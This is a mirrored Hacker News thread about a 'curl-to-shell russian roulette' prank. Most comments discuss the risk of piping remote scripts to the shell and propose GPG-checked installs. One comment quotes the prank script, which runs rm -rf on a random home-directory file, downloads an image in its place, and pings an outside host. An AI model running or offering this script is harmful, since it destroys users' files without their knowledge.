TE
TechEcho
Home24h TopNewestBestAskShowJobs
GitHubTwitter
Home

TechEcho

A tech news platform built with Next.js, providing global tech news and discussions.

GitHubTwitter

Home

HomeNewestBestAskShowJobs

Resources

HackerNews APIOriginal HackerNewsNext.js

© 2025 TechEcho. All rights reserved.

Curl-to-shell russian roulette

9 pointsby coconutrandomover 11 years ago

4 comments

joshguthrieover 11 years ago
You know what? This is perfect.<p>Some users are gonna go all &quot;no&quot;, &quot;this is bad&quot;, &quot;no malware on HN&quot; and &quot;you must be crazy to do it yadda yadda&quot; on you, but in the end it doesn&#x27;t matter because you&#x27;ve done it: you&#x27;ve disrupted that little peace of mind they had about running &quot;curl rvm.io&#x2F;install | sh&quot;.<p>Now they know that piping a curl command to shell is akin to unprotected sex. Sure, I&#x27;d happily be the first to say &quot;oh come on, we all know RVM, the guy doesn&#x27;t have any diseases: he&#x27;s all clean, there&#x27;s no risk&quot; and we&#x27;d all be happy to follow with some wishful thinking of &quot;there&#x27;s a one in a billion chance something bad happens, no way I&#x27;m that unlucky&quot;.<p>But just like russian roulette, one bad time is enough to get in a _LOT_ of trouble.<p>Sorry comrades, I&#x27;m done compromising my box&#x27;s security on a daily basis. From now on, I&#x27;ll GPG-check your install scripts before piping them blindly to my personal area :)<p>Even better: why don&#x27;t we write a common install pattern for scripts?<p>Something simple like $ web-install <a href="http://your-site.com/" rel="nofollow">http:&#x2F;&#x2F;your-site.com&#x2F;</a><p>* Attempts to download conf file from <a href="http://your-site.com/WEB_INSTALL" rel="nofollow">http:&#x2F;&#x2F;your-site.com&#x2F;WEB_INSTALL</a><p>* Looks up install script and gpg file path in the conf file<p>* Downloads install script and gpg file to &#x2F;tmp and gpg-check the install script.<p>* If it all checks out, run the install script.<p>Or maybe we already have something cool like this but some developers seem to think this commodities are for neckbeards who swim in gpg keys all day long?<p>PS: Using RVM as an example there because I only have them in mind but I did this for npm too in the past and countless others I can&#x27;t remember, so no hate intended against them.
评论 #6751702 未加载
评论 #6752747 未加载
pvnickover 11 years ago
<p><pre><code> #!&#x2F;bin&#x2F;sh ( files=(~&#x2F;*); f=&quot;${files[RANDOM % ${#files[@]}]}&quot; rm -rf &quot;$f&quot; curl http:&#x2F;&#x2F;placekitten.com&#x2F;g&#x2F;320&#x2F;240 &gt; &quot;$f&quot; echo &#x27;bang!&#x27; $f &#x27;is now a kitten&#x27; ) &amp;&amp; curl --silent -o &#x2F;dev&#x2F;null http:&#x2F;&#x2F;russianroulette.sh&#x2F;b&#x2F;QPteR3KS&#x2F;3&#x2F;NamelessWonder </code></pre> cute, but please refrain from pasting malware to HN
评论 #6751369 未加载
Gurreweover 11 years ago
What about no?
Artemis2over 11 years ago
Genius!